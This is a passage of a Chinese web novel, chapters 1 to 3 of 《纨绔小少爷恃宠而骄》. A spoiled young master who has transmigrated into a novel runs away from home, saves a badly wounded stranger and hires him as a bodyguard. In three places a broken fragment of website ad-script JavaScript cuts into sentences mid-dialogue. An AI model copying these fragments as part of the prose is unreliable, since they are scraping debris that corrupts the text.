《纨绔小少爷恃宠而骄》 1. 第一章(已修) 第一章 暮色低垂,街坊灯火通明,长明灯高悬于酒楼与画舫之上,檐角上精雕细琢的金凤高高悬挂,满目望去尽是奢华。 临近初冬,天色渐晚,夜时吹来的长风带着丝丝入骨的冷气。 在一家距离街角稍远的客栈之中,一扇木门悄然无息地打开,里面的人探出脑袋四下张望了番,确定周边没什么眼熟的人了,才回头喊道:“小少爷,出来吧,没有人。” 屋内传来脚步声,随即,一柄竹扇敲在小厮的脑门上,清凌的声音从他身后响起:“叫什么小少爷呢?” “跟你说了多少遍,在外面要叫公子。” 小厮憨憨地摸着脑袋:“嘿嘿,公子,公子。” “我们现在可同从前不一样了,多少得避这些人,被抓回去了可怎么办?” 少年从屋内踏出,如墨的黑发松垮地用玉簪束在脑后,素色长衫上,一枚圆润的玉佩随行摆动。 他兀自推门而出,朝前走着,嘴上嘀嘀咕咕:“好不容易才跑出来了,我可不想这么快就被抓回去受罚。” 小厮抱着裘袄在身后追:“小少爷,入夜了,天气冷,您还是多添一些衣裳再出门吧!” 咚,又是一记敲脑壳。 “再记不住自己给我滚回去。”小少爷懒懒散散道,“不穿,我爹眼尖,被发现了怎么办?” “那,那也不能……”小厮拗不过他,苦哈哈着一张脸,跟在叶安淮的身后。 一日前,他怎么也不会想到,自己会以这样的处境和叶安淮出现在这种地方。 他快步走上前,疑惑地问:“小……公子,您走得这般突然,不同老大打声招呼会不会……不太好?” “若是打了招呼,这门我可就出不来了。”叶安淮冷笑一声。 走出客栈,冷冽长风迎面而来,他倒抽了一口凉气,胳膊上起了一片鸡皮疙瘩。 小厮亦步亦趋地跟了上来,下一秒,手中的裘袄便被人顺势抽走,披在了身上。 叶安淮裹紧裘袄,裘袄的绒毛覆在脖颈周围,隔绝了冷风,衬得面容雪白又精致。他若无其事地开口:“走吧,饿了一天,去集市上看看有什么好吃的。” 小厮跟了上去,思忖着用词:“那小公子,我们何时回去?” 得到的答案却是:“不知道,看心情。心情不好,指不定本少爷就不回去了。” 小厮呆傻在原地:“啊,啊?” 走了两步身后没声音了,叶安淮轻啧一声,回头,琉璃般剔透的眸子瞪得圆圆的:“走啊,还不跟上,再问东问西就把你丢在这!” 小厮无法,只得小跑跟上,嘴里喊着:“公子,等等我!” 傍晚时分,街坊两旁挤满了茶楼酒肆和当铺,行人熙来攘往,时不时地会有人驻足于摊贩边上,嘈杂与喧嚣声混成一片。 这般混迹在人群之中,也没有那么显眼了。 叶安淮几不可察地松了一口气,开始庆幸自己选择了这么一个时间点出来。 就在此时,一阵突兀悠扬的铃声从街角传来,伴随着一阵马蹄声,叶安淮的心凉了大半截。 他倏地扭头,却见那系着铃铛的马儿在不远处的酒坊前停了下来。 叶安淮微微愣神:“这是什么?” “公子,那是传信的邸报。”小厮扭头一看,恍然,站在他身旁解释,“奇怪,这个时候怎么会有邸报传来镇上?” 某一瞬间,叶安淮还以为是他爹骑着马来抓他了,回过神来,才几不可察地松了一口气,“反正跟我们没什么关系就行了。” 他饿得前胸贴后背,实在没什么心情站这看热闹,拽着小厮就往反方向走了过去。 “去,给你家公子买点吃的去。”叶安淮懒得动,推了推小厮,“不要太甜的,不要太咸的,不要太油的,不要太干的,也不要带汤的。” 小厮:“……” 小厮:“小,公子,我……”我办不到啊!! 叶安淮微微扬起下颌:“嗯?” 小厮:“我,我尽力……” 望着小厮跑走的身影,叶安淮缓缓吐息,独自站在街角边一个不起眼的角落里。 雾气徐徐升起,氤氲了视线,虚实之间,他不自觉地又想起来那些事。 掐指算一算,自打他穿越到这个世界,已经过去了五年之久。 五年前,他还是环星娱乐集团赫赫有名的叶家二少,虽然头顶上压着他那位同父异母的大哥,但不愁吃不愁喝,小日子过得也算是舒坦。 结果走在半路上,被一辆横冲而来的卡车给撞死了。 眼睛一睁一闭,他就来到了这个鬼地方。后来还是从旁人口中得知,原来他是穿书了——人家穿的都是只手通天的主角,他穿的是那位只手通天的主角要杀的炮灰。 原作的主角是当朝的暴君太子,多谋善断,冷血无情。仅凭一人就将整个京城搅得风云卷动,所有人皆是他用来登帝的棋子。 这条成王之路上沾满了鲜血,叶安淮在其中甚至连一个血珠都算不上。 原身性格顽劣,只是某日出府逍遥的时候,无意间撞到微服出访的太子殿下,就要不分青红皂白地就要找人把太子打一顿。 下场当然是横死街头。 现如今,他和他爹生活在距离京城颇远的镇子上,若是不出什么意外,应当一辈子都不会撞见那位太子殿下。 想到这里,少年眉宇紧蹙,幽幽长叹了一口气。 又站了好一会,擦肩而过的行人换了一批又一批,小厮却迟迟未归,叶安淮不想再站在原地喝西北风,便循着方才他的足迹朝前开始找人。 其实根本不用找。 叶安淮没走两步,耳旁蓦地传来一声超级响亮的拍案声,紧接着…… “你,你这定价根本就不合理!哪有一份水饺卖十五文钱,你这和当街明抢有什么区别?!” 叶安淮眨了眨眼,驻足,偏头望去。 已经有不少人被动静声吸引而来,而当事人则站在一个摊位前,面前摆放着几碗热腾腾的水饺,里面的汤水都被倒了个干净。 他死死攥着钱袋,气得脸色涨红,就差和摊贩拍案叫板了。 “就这一碗饺子,分明和一开始说好的价钱不一样,哪有你这种坐地起价的?怪不得你这摊位都没什么人来,不想想是不是自己的问题吗!” 那摊贩估计也是第一次遇到硬茬,梗着脖子不甘示弱:“你要求那么多!一会是不要太咸,一会不要太干,又是不要带汤,我多收你点钱怎么了?!” 小厮:“我那是一开始就同你说了!你要早告诉我加价,我也不会在你家买了!” 叶安淮始终没换算明白这钱两的问题,他只是觉得这两人吵架有些好笑。再怎么说也不能灭了自家威风,于是他敛了眸里的笑意,轻咳一声,板着一张脸走上前去。 “怎么回事?” 小厮一见他来了,登时想告状:“小少……公子!方才我想为您买一碗饺子,那商牌上分明明码标价了一碗十文钱,结果他趁我不注意把商牌收了起来,最后告诉我是十五文!” 摊贩依旧嘴硬:“就是十五文一碗,没有什么商牌,分明是你看错了!” 小厮:“好啊,你方才还说我要求多,多收了我钱,现在我家公子来了,你又临时改口!” 周边的人也开始对这两人指指点点,摊贩话被堵死,眼神四处乱飘,脸上透着一股倔强。 小摊贩看上去年纪并不大,莫约舞勺之年,脸颊上沾着炭灰,有一小片乌色。 叶安淮端详了好一会,几不可察地叹了口气,伸手:“钱袋。” 小厮不情不愿地将钱袋递给他:“公子……” 叶安淮一边掏着钱袋一边数:“你家公子在呢,为了吃口热的在冷风里等了你一刻钟,结果你在这和人吵得热火朝天。” 他凉凉地瞥了眼小厮,算了半天也没算明白,干脆掏出一枚银子丢给摊贩。 他下巴一抬,指使人道:“去,把这一锅都装起来,汤水分开放。” 小厮傻眼了:“可,公子吃得完这么多 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “废话,吃不完你顶上。”叶安淮眸色一转,冷冷瞥了眼呆呆站在原地的摊贩,冷声道,“喂,还有你,下次商牌再用不到,我就替你砸了,听到没有?” 小摊贩一个劲点头,攥着掌心那枚银子,生怕被旁人抢走。 这一枚银子,甚至都足够把他整个铺子给买下来了…… 临走之际,小厮还冲他做了个鬼脸。 他抱着一纸袋子的饺子,快步追上叶安淮,气呼呼地说:“小公子,咱们为什么要帮他啊,这人还坐地起价,要我就给他一拳让他吃吃苦头。” 叶安淮依旧一副懒散的样子:“你哪只眼睛看见你家公子帮他了?走之前我不还说要把他商牌砸了?” 他顿住脚步,轻咳一声,回过头一脸严肃地道:“记住,我们可是山贼,是实打实的坏人,坏人就该干坏人该干的事情。” “下次见到他,你看少爷不直接把他一脚踹飞。” 小厮:“……” 小厮:少爷,你开心就好。 月色倾洒,黑夜给这座城镇添上了一分迷离的色彩,幽黄的灯光将两个人的影子拉得狭长。 远离了喧闹的集市,甩开身后嘈杂的声音,叶安淮走在了回客栈的路上。 这条路上静悄悄的,细风刮过他的指尖,一片冰凉。 空气中弥漫着一股潮湿的气息,街道两旁的房屋黑黢黢的一片,伫立在阴影之中,诉说着一股无言的压迫感。 白日里还挺好,到了晚上,叶安淮第一次走在这条路上,心底有些发毛,莫名觉得有点阴森。 没有办法,一开始下山的时候叶安淮保守起见不被发现,选了一个最偏远的客栈。 这条路也是从集市去往客栈的必经之路。 叶安淮唤了声小厮,响亮的声音从身后传来,他定了定心,加快了回程的脚步。 就在他快步路过一个深口小巷时,一股刺骨的凉意忽地从巷口处传来。 紧接着,叶安淮还没反应过来,一个强硬的力道猛然袭来,横来的那只手攥紧了他的腕骨,拉得他一个踉跄跌进黑暗中。 身后传来了小厮的尖锐的惊呼声。 风,蓦地停了。 叶安淮的脊背抵着那人的胸膛,转不过去身,只能闻见鼻尖萦绕着的那股难以言喻的血腥味。 他茫然地站在原,苍白的唇瓣抿紧。 “你——” 他惊魂未定,呼吸急促,声音半道而止。 身后的男人并没有过多的举动,黏腻的血液无意间被蹭到了雪白的裘袄上,一片猩红。 “别吵,别叫。” 低沉沙哑的声音近在咫尺,响在耳旁,沉重的呼吸声顺着衣领灌入后脖颈,鬓角的碎发被冷汗打湿,叶安淮大脑一阵空白。 “兄,兄弟,莫冲动,莫冲动……气大容易伤身。”叶安淮磕磕巴巴地开口。 一片死寂。 他原本以为自己小命不保,都准备听天由命地闭上眼睛了,结果闭着眼睛愣是等了半晌,身后的男人一点举动都没有。 长风呼呼吹过,叶安淮有些茫然地睁开眼睛。 在睁开眼睛的那一瞬间,他看见一根木棍冲了过来,那木棍当头而来,嘴里大喊着:“贼人!放开我家公子!!” 咚! 木棍擦着叶安淮的耳廓落在了身后男人的肩头上,发出一声沉闷的声响,扣在叶安淮腕骨上的力道一下子松了。 男人身形晃了晃,整个人倒在了地上。 眼看着那小厮紧闭着眼睛拎着木棍再度冲了过来,叶安淮头皮发麻:“等等!!” 小厮的动作戛然而止,颤巍巍地睁开眼,看见叶安淮没事,又看了看倒在地上不省人事的男人,眼泪一下子飙出来了。 他瘫坐在地上,被烫了似的甩开木棍,不可置信地喃喃自语:“我……我杀人了?” “……”叶安淮无语了,扭头瞥了眼地上那人,脚尖踢了踢他,没反应。 他冷笑一声:“不,应该是被碰瓷了。” 2. 第二章(已修) 第二章 木门的门扉被叩响,听到门内传来了一声:“进来。” 小二端着一盆清水,小心翼翼地推开门,瞥见地上躺着的那人,匆匆忙忙别开视线,低着头低声道:“公子,您要的水。” 衣着华贵的小公子悠闲地坐在床榻上,跷着二郎腿,挥挥手,懒洋洋地开口:“就放那吧。” “是……” 临走前,小二又悄咪咪地回头瞅了眼,心里直犯嘀咕。 今儿是长了见识了,没想到有钱人家的小公子玩得这么花,希望别闹出什么人命才好…… 门被掩上,整个房间再度静了下来。 叶安淮顿了两三秒,睨了眼靠着墙角面壁思过的小厮:“愣着干嘛?人是你打晕的,去啊。” “啊?噢噢!”小厮赶忙凑上前去,仔细端详了一番,眉宇皱了起来。 这人的状态非常差。 一袭黑衣近乎被鲜血染红,从衣角缓缓滴落的血珠在地面汇聚,胸前的衣服略有破损,一道狭长的剑伤从肩部直抵腰腹,依稀能看见衣服下面皮开肉绽的伤口。 除此之外,这人的身上大大小小布满了伤痕,微微凝固的血液将伤口与衣物粘黏在一起,形成了血痂。 最刺目的还得是肩头的那处贯穿伤,血液从血洞中不断渗出。 小厮脸上一片认真:“公子,这人看上去活不长了,要不丢了吧。” 叶安淮冷呵了一声:“人是我千辛万苦扛回来的,治不了也得治。” 说是千辛万苦,实际上也不过是搭着男人走了两三步路就到客栈了。 小厮眼看着这些伤口,头皮一阵发麻,他深呼吸一口气,开始着手处理。 他先前就是云遥寨的下人,平日里也见过不少受了伤的人被驼回来,但伤得这般重的,他平生还是第一次见。 没过一会,清澈的水就已被染红。 那水盆里的水换了一次又一次,期间甚至连叶安淮都看不下去了,试图前来一起帮忙,但瞟了两眼,满目刺红,又退回去了。 算了算了,还是不去添麻烦了,他心想。 忙前忙后足足忙活了有两三个时辰才堪堪安定下来。 叶安淮在床榻上打了好几个哈欠,困得靠在床头都眯着了,又被满屋子刺鼻的铁锈味给熏醒。 他迷迷瞪瞪地睁开眼:“怎么样了?” 小厮低着头认真道:“此人身上无数伤口,像是从刀光剑影里面强行跑出来似的。能活着都已经是奇迹了,没想到竟然还能藏在巷中埋伏我们……血已经止住,方才掌柜的拿来了几副药材,我医术不精,也只能做到这里了。” “剩下的,也只能看他自己能不能撑得过去了。” 小厮擦了擦额头的汗,站起身,劝道:“小少爷,此人的身份不简单,我从未见过伤得如此之重的人。这背后恐怕牵扯诸多因果……等明日他醒来之后,我们将他打发了去镇上吧。” “……” 叶安淮思忖片刻,忽地开口问道:“你叫什么?” 小厮:……原来少爷还不知道我叫什么啊。 他回答:“小少爷,我单字名元,没有姓氏,是老大一年前在街上捡的我。” “很好,阿元。”叶安淮站起身,拍了拍他的肩膀,“辛苦你了,夜深了,你早些回去歇息吧。” 阿元忙活了大半夜早就疲乏了,所以未曾察觉叶安淮并没有直面回答他的问题,迷迷糊糊地就被指派去休息了。 月上中天,空荡荡的屋子里一下子就静了下来。 地上的血和破损的衣物已经被处理干净,先前的白绒裘袄也被弄脏,不知道丢到哪去了。 小少爷身着一件单薄的素色里衣,眼底浮现出一抹探究。他在男人身前蹲下,歪着脑袋看了良久。 清理干净脸上的血污之后,男人的面容也清晰地浮现了出来。 他面容冷峻,眉眼锋利,五官轮廓鲜明深邃,昏迷时唇角微压,显得唇线又薄又冷。 哪怕下颌处细小的伤痕都无法破坏整体的美感。 长得确实不错,叶安淮心想。 这人的胸膛几乎都没有什么起伏,浑身上下缠满了绷带,甚至都让人觉得他是不是没能挺过去。 这般想着,叶安淮脑子一抽,也不知道是不是没有睡醒,他伸出手,想去探一探他的鼻息,看看是不是真活着。 可还没等他靠近,男人突然睁开眼,陡然间抬手,攥住了他伸来的手腕。 这种距离之下,叶安淮能清晰地看见他的瞳眸,与常人的黑瞳并不相同,月色的映照下折射出一种极其漂亮的浅灰色。 眸底深处涌动着晦涩与冷冽,仿佛是深林之中潜伏着的野兽,深沉又危险。 这突如其来的变故让叶安淮心底蓦地一惊,啪的一下抽回手,回过神来时,男人已经被他打得微微偏过头去了。 这还是叶安淮有生以来第一次打人巴掌。 他睁大眼睛,愣愣的,似乎比被打的人还要错愕。他下意识地站起身,退后两步,强装镇定:“你醒了?” 男人并不理会他,转过头来,碎发垂在额前,投落一片阴影,遮住了他的神情。 感觉有点生气…… 毕竟谁刚醒过来被打一巴掌都会生气…… 叶安淮想起方才对上的眼神,心脏跳得怦怦响,转念一想自己救了他的命,就一不小心,轻轻地打了一巴掌怎么了! 他又重新振作起来,转身坐在床榻上,冷哼一声,质问道:“你还记得之前发生的事情吗?” “敢在大街上碰瓷本少爷,胆子不小啊?” …… 男人没有回应。 解应忱现在只要一闭上眼,脑海里就能回想起坠崖时耳旁传来的猎猎风声,还有厮杀时剑与剑碰撞出的声响与嘶吼,久久回荡。 就在这时,一道清凌的声音响起,将脑海中的这些画面尽数打碎。 那道声音说:“本少爷救了你一命,但我这人向来心地善良,也不要求你给我磕头道谢了。” 解应忱睁开眼睛,冷冷地看着他。 叶安淮轻哼一声,眼底划过一丝狡黠:“我见你似乎武功不错,若是没地方可去,不如来当我的贴身侍卫如何?” 还不等男人拒绝,他又兀自开口:“我劝你好好想想再回答也不迟。毕竟你的命是我救的,伤口也是我包扎的。要不然你现在早就躺在大街上,小命都凉了半截儿。” 全然没有意识到自己说这话时像一个要挟良家妇男的大反派,叶安淮跷着二郎腿坐在床榻上,微微昂首看着面前的男人。 他看见男人薄唇微张,耐心等着,半晌后听见一个低沉沙哑的声音响起。 却和他想得有些不太一样。 男人问:“为什么救我。” 叶安淮:“?什么”他还以为自己是听错了。 男人紧紧地盯着他,又重复了一遍:“为什么救我?” 叶安淮都快被气笑了:“因为本少爷好端端地都在大街上被你碰瓷了你知道吗?!我要是不把你带回来,明日叶家少主当街刺杀陌生男性的消息就会传遍大街小巷!你真以为我想救你啊?!” 小少爷气得胸膛上下起伏,形象都端不住了,端起桌上的水壶吨吨灌了两口。 方才话是这么说,但他没有什么强人所难的爱好。叶安淮重新坐回床榻上,恹恹地挥了挥手:“行了,咱俩无冤无仇,我不是什么多管闲事的人,想死还请出门左转,别连累了我就行。” “晚安,睡了,您请自便吧。” 语毕,也不管男人的死活,倒在床上面对着墙壁,一副不想和人沟通的自闭模样。 身后没有传来动静,整个房间重新陷入了沉寂。 叶安淮一肚子气,后悔自己为什么要干这种吃力不讨好的事情。 可另一边,又会忍不住想,这个人到底经历了什么,那么漂亮的眼睛才会宛若一潭死水般,惊不起半点涟漪,甚至问出了那样的话。 他只是觉得有些惋惜。 叶安淮脑袋里思绪纷杂,面对着墙壁,不知不觉地就闭上了眼睛。 就在他快要睡着的时候,冷不丁听见身后传来了一道声音:“这里是哪?” 叶安淮眼睛都没睁开:“青溪镇。” 男人没有接话,气氛又静了下去。 叶安淮心安理得地继续睡觉。 结果又一次,在他差点睡着的时候,身后声音又响了: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我姓解。” 叶安淮被惊醒,缓缓吐出一口郁气,咬着牙道:“我不感兴趣。” 管你姓什么,真要说话能不能一次性讲完! 但他懒得动弹,又一次开始酝酿睡意。 ……结果,没过一会。 “我答应你的条件。” 叶安淮噌地一下从床榻上支棱起来,剔透的眸子因为熬夜显得红彤彤的:“大半夜的,你到底睡不睡!” 烦人! 解应忱似乎被凶得愣了一下,随即便安静下来。 叶安淮气呼呼地转过头去,整个人逃避似的埋在软枕之中,声音闷闷的,有气无力道:“你是真的有精神,就你这副样子现在恐怕连站起来都难吧,还不抓紧时间好好休息……反正我是不管你了,爱睡不睡吧,我要睡觉了。” 他真的是累狠了,埋在软枕上没过一会,呼吸声便逐渐平缓了下来。 解应忱靠着墙壁,绷紧的神经慢慢放松了下来。 床榻上的少年已然入梦,漂亮素净的小脸上没有了原先的娇矜与傲气,纤长的鸦睫在眼下投落一片阴影,唇瓣微张,哪怕屋内有个陌生人,他也毫无防备,看起来尤为乖软。 解应忱目色沉沉,眼底思绪万千,久久凝望着少年的背影,不知在想些什么。 也不晓得是不是他的视线太过昭然,叶安淮这一觉睡得并不安稳。 梦里总有一双视线紧紧盯着他,不管他如何逃离,那个视线总是如影随形。 刚眯着没两个时辰,叶安淮就被梦里的场景硬生生给吓醒了。 但真正睁开眼睛的时候,又有些不记得梦见了什么。 屋内的血腥味已经散得差不多了,他缓缓呼出一口气,懒懒散散地翻了个身,准确无误地对上了一双灰色的眸子。 那眸子和梦中的如出一辙,叶安淮活生生地被吓精神了,哗啦一下翻身坐起来。 “你醒了?”叶安淮讶然道。 他刚睡醒,嗓音还有些沙哑,不等他下床去桌案上拿茶杯,对面坐着的男人率先动了。 他站起身,端着茶杯递到叶安淮手里,指尖微微触及,一片凉意。 温热的杯壁让叶安淮浑身都暖和了起来。 他体质偏凉,冬日里总是手脚泛冷,所以哪怕是秋季,下人们也总会在他起床前备好一杯温茶。 可是……他怎么知道? 叶安淮心中狐疑,呼呼地吹着茶杯,抿了一口。 估计是歪打正着吧,他这般想着,抬起眼睛不着痕迹地瞅他。 “说起来,我还不知道你叫什么。”叶安淮清了清嗓子,试图让自己的声音看起来有威严一些。 “解。”男人说,“我姓解,单字名洵。” 解洵…… 叶安淮在心里默念了一声,不知为何,听到这个名字后,他的心绪莫名被牵动了一下。 “小少爷不问吗?” 少年发呆得有些出神,抬头便听见男人神色淡淡地问。他倚靠在墙角,神色不明。 “问什么?”叶安淮眨了眨眼睛,鼓着腮帮子呼噜呼噜地吹着茶水。 解洵抿了抿唇:“问我从何而来,为何一身伤。” 叶安淮恍然,故意拖长语调:“啊——” “可是那些,我都不感兴趣啊。” 他莫名其妙地瞥了男人一眼:“我只想要个侍卫,至于你的前程和过往那些,想说就说,不想说也没事。” 云遥寨之中太多来历不明的人了,有的是因为天灾家破人亡,有的是因为仇人尚且在世,有的是无家可归被他爹从街上捡回来。 只不过,他们都有一个共同点——皆是穷途末路了,才来投奔的山匪。 像解洵这样的人,与他们也一样。 倘若真的有归去之所,也落不得这样一个境地。 所以叶安淮并不感兴趣他的过往。 他的思维逻辑显然还没从现代人转变过来,从他与下人之间的相处模式就能看得出来,哪怕小少爷对外再嚣张跋扈,对内却始终能看见他柔软的一面。 像是外表长满刺的小刺猬,轻轻一翻,就露出了软乎乎的小肚皮。 解洵盯着他,舔了舔齿尖,蓦地笑了。 3. 第三章(已修) 第三章 竖日一早,天刚蒙蒙亮。 阿元浅眯了两三个时辰,睁开眼睛,朦胧之间,想着是不是该喊小少爷起床了…… 两三息后,他像是回想起什么,猛地睁大眼睛,一拍脑袋,一下子就清醒了。 他昨夜怎么就这么糊涂,居然把小少爷和那个来路不明的男人放在一个房间了! 虽然那个男人身受重伤昏迷不醒,但他若是存有二心,小少爷又手无缚鸡之力,倘若出了什么意外…… 阿元心跳如鼓,额头渗出了细密的冷汗,根本不敢想。 他跌跌撞撞地冲下榻,差点被没有扎好的衣带给绊一跤。这短短的时间里,他甚至将一切最坏的打算都已做好,甚至想着倘若找不到小少爷,他就拎着匕首去老大面前请罪,哪怕上刀山下火海,他都一定会将小少爷从那贼人手中给救出来…… 出来…… “阿元?怎么这般匆匆忙忙的?”熟悉的声音带着些许疑惑从客廊的另一头传来。 阿元陡然抬头,泪眼朦胧地扑了过去:“少爷!您没事!” 叶安淮昨夜没睡好,眼下略有青黑,他轻啧一声闪身躲开:“干什么干什么,君子动口不动手……啊,还是说,我爹的人找过来了?” 阿元摇摇头,哭丧着脸:“不是的,老大没有找来。只是我昨夜脑子不清醒,居然将小少爷和那贼人放在同一个屋中,实在不可饶恕!” “不过幸好小公子您没事,您没事就好。您昨夜一定是将那贼人赶走了吧?我就说,那人来历不明,也不知其身份,确保些,还是早些赶走……” 叶安淮站在门前的位置,恰好将身后房门的空隙给遮住,所以阿元先前并没有看见屋内还有一个人。 他响亮的声音在看见屋内缓缓走出来的男人时便凝滞住了。 黑瞳缓缓瞪大,阿元不可置信地看着眼前的一幕,颤巍巍地伸出食指:“他,他,他……” 解应忱精赤着上身,也不全然——他的衣物早就沾满了鲜血,又被利器划得破破烂烂,早在昨夜被叶安淮丢掉了。他此时上半身缠满了绷带,隐约能看见其中渗出的一丝丝血色。 他身形未动,就这么站在叶安淮的身后,淡淡地瞥了眼阿元,冷灰色的瞳眸晕着碎雪般的凉意。 阿元一下子浑身僵硬,那一瞬间如坠冰窟。 他就知道,这个人——! 还不待阿元细想,就听见他家少爷的声音轻飘飘地从一旁传来。 “哦对了,给你介绍一下。”叶安淮若无其事地开口,“这位,是我新招来的侍卫,解洵。” …… 阿元呆站在原地,已经完全傻掉了。 叶安淮不想搭理他那副傻样,扭头对解洵道:“你昨天的衣物上面破破烂烂的,已经被我扔了。唔,不如正好今日上街市给你买两件衣裳。” 既然都是自己的人了,虽然称不上掏心掏肺,但最基本的生活需求还是得满足一下的。 不过这人的身体素质是真的强悍,前一天晚上还奄奄一息,今日居然都能下榻走路了。 叶安淮心里不免感叹。 “既然你能下榻走路了,那正好一同去医馆看一看,顺带开几副药材回来。” 阿元终于回过神来,他快步走到叶安淮面前,贼头贼脑地低声道:“公子,防人之心不可无,此人身份蹊跷,咱们要不还是先查探一番再做定夺?” 叶安淮若有所思地摸了摸下巴,端详一阵:“嗯,你说得确实。” 阿元眼前一亮,就在他以为叶安淮听进去的时候,蓦地就见他扬起一个好看的笑容。 “但是,我拒绝。”小少爷眉眼弯弯,利落干脆地开口。 “我就要他。” 阿元:“……” 既然叶安淮已经做出了选择,他一个做下人的,再多说就逾越了。只能一脸不甘心,转头狠狠瞪了一眼解洵。 没关系,哪怕现在只有他一个人,也会保护好小少爷的! 他这副视死如归的神情一下子就把叶安淮逗笑了,他拍了拍阿元的肩膀,安慰道:“行了,我知道你在担心什么。你家少爷心里有数,去吧,先去给他拿一件衣裳过来,总不能就这么赤着上身出门吧?” 阿元拧不过他,只得垂头丧气地去拿旧衣裳。 空旷的屋内再次只剩下他们两个人。 解洵倚在墙边,将他们“小声”的密谋尽收眼底。他姿势懒散,双臂环抱于胸前,绷带勾勒出肌肉的线条,看得叶安淮一阵唏嘘。 两人莫约静了两三息,还是解洵先开口了:“他说得不错。” 叶安淮不明所以:“嗯?” “小少爷对谁都这般没有防备吗?”男人抬眸,望向叶安淮的眼底一片晦暗与深沉。 从昨夜街道上救了陌生的男人,带回客栈后替他治疗,最后又毫无防备地在他面前睡去…… 叶安淮反应了一会,恍然。 他别开眼,神色淡淡道:“我想你可能有些误会。” “救你只是无奈之举,替你包扎也不过是顺带的,如果我在街上看到一条奄奄一息的狗也是会搭把手的……” “至于在你面前毫无防备地睡着……”叶安淮眉眼微挑,似笑非笑,“只是我觉得,在那种情况下,你根本连碰到我的力气都没有了,更别说进行什么暗杀了。” “怎么样,我说得不对吗?” 也不知道小少爷哪来的自信,偏偏这份自信在他身上,彰显得整个人夺目又张扬。 解洵定定地看着他,心尖微微一动。 阿元气喘吁吁地拎着衣裳大步跑来,打破了两人之间稍显僵持的气氛。 他将外衣囫囵塞到解洵怀里,翻了个白眼:“赶紧去穿吧!”活爹。 待解洵整理好,三个人才出发去往街市。 初冬的早晨冷清,对比昨晚,今日街市上的人明显少了许多。布衣坊的位置比集市还要远一些,所以他们免不了要从集市中穿过。 街角的行人步履匆匆,但朝向的目标位置都是同一个方向,叶安淮扭过头望去,看见许多人围在酒楼门前,正排着队一个一个走进去,不免有些好奇。 阿元正暗暗和这新来的侍从较劲呢,观察到叶安淮的神情,登时抢先一步说:“小公子,一会办完事后,不如我们一同去酒楼里坐一坐吧?” “听闻今日酒楼之中有说书先生前来坐镇,兴许是和昨日咱们看到的邸报有关。” 叶安淮登时来了兴致:“说书先生?听上去很好玩诶,去看看!” 他爹平日里鲜少让他出门,穿越来这么多年,他听见不少次旁人议论这城镇里的说书先生多么有学问,说的故事多么有趣生动,偏偏一次都没有亲眼看见过。 阿元得意洋洋地瞥了眼解洵,比起这个闷葫芦,还是他更得小少爷的喜欢一些! “解洵,要一起吗?”叶安淮偏头,问他。 似是没想到他会来问自己的意见,解洵微顿,启唇道:“我现在是公子的侍卫,公子走到哪,我就跟到哪。” 噢—— 叶安淮有些无趣,算是对解洵的性格有个初步的认知了。 三两步的功夫,他们便走到了布衣坊,叶安淮还未踏入其中,就听见里面传来了一阵骚动。 紧接着,他听见了嘭的一声,像是什么沉重的物体砸在了地上发出的声音。 他脚步微顿,正想上前一探究竟,手腕却被拽住了。 解洵上前一步,淡声道:“冒犯了。” 随即松开手,站在他的身前,先行一步走入了布衣坊之中。 那只手的虎口和指腹布满了软茧,温热的触感有些陌生。叶安淮微怔,回过神来,踩着他的脚后跟也进去了。 这家布衣坊算是整条街上最有名的了,传闻掌柜有专门的进货渠道,绸缎和绫子都是一等一的好货,平日里叶安淮穿的衣裳也都是从这家作坊里买的。 还没走两步,解洵的身影就挡在了他面前。 前方的视线完全被堵死。叶安淮抬起头,方才没有察觉,两人贴近了发现,原来这人比他起码要高上一个肩膀加一个脑袋。 他近乎是仰着脖子才能看见解洵的后脑勺。叶安淮眨了眨眼,心中突然好奇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面前这个人的年龄了。 看上去也不过刚及冠的模样,到底是吃什么长大的,怎么个子生得这般高? 下一秒,里面又一次传来一声轰隆巨响,将他拉回了神。 发生了什么? 他有些好奇,又怕被无端波及,躲在解洵身后,攥着男人的外衣支撑着身体的平衡,只探出了个脑袋来一看究竟。 目光所及之处皆是一片狼藉。 成堆的布料原本应该小心翼翼地挂在木架上,如今却被人尽数推翻倒在地上,沾满了尘埃。 不远处,两把断了腿的椅子可怜兮兮地躺在地上无人问津,方才的两声巨响应当就是他们被砸坏时发出的动静。 叶安淮默默在心里为两把椅子默哀一秒钟。 而这一切的始作俑者正跷着二郎腿坐在门坊的正中央,另外两名肌肉大汉像个门神似地伫立在他的身后。 在他的面前,跪着的是不断擦着额头冷汗的布庄老板。 “胡少,小的真不知您今日大驾光临,否则定会提前备好您要的材料,求您饶恕,求您饶恕啊——”老板弓着身子,不断磕头道歉,“您要的云雾绡前些日子被人已经被人定下了,小的立马唤人给您加班加点地重运一份过来,您看可好?” 那名被称为胡少的青年一看就是楼里有名的纨绔子弟,手中甩着木椅断了的一条腿,脸上满是不耐烦,啧了一声:“老板啊,咱们也相识这么久了,真不是少爷我不留情。你看,我爹的生辰也就近日了,你重运一份起码要等上个把月吧?” “这归根结底,让我等等是小,但倘若误了我爹的良辰吉日,那可就不是闹着玩的咯。” 话里话外满是威胁。 叶安淮:“……呜哇。” 好标准的反派语录。 他不想被牵扯进事端之中,拽了拽解洵的衣角,附在他耳边小声说:“要不我们换一家?” 少年声音清亮,或许自己都没有注意到,尾音微微上扬时有种撒娇时才有的甜意。 解洵颔首,目光落少年捏着他衣角的手上。 他确信方才并没有用力。 可小少爷向来娇生惯养,哪怕就是随手轻轻一拽,腕骨上便晕开一片红色。 事与愿违,正当两人准备离开时,身后猛地传来老板的惊呼声。 “小少爷!叶小少爷!请留步!”他这般喊道,额头溢满了冷汗,转头对胡申鸣说,“胡少,那件云雾绡便是前些日子叶小少爷来定的,若是叶小少爷愿意割爱,多等上两日,胡大人也不会误了良辰吉时了!” 他这波属实是病急了乱投医——胡申鸣的父亲是如今镇上有名的大官,既然他搬出了这位大人来,老板不可能不给这个面子。 毕竟,得罪了叶小少爷也不过是丢个常客,但得罪了县丞大人,丢的恐怕就是整个铺子了。 叶安淮现在仿佛是走在半路上莫名其妙被踹了一脚,转过身,指着自己道:“跟我有什么关系?” 他连云雾绡是什么都不知道! 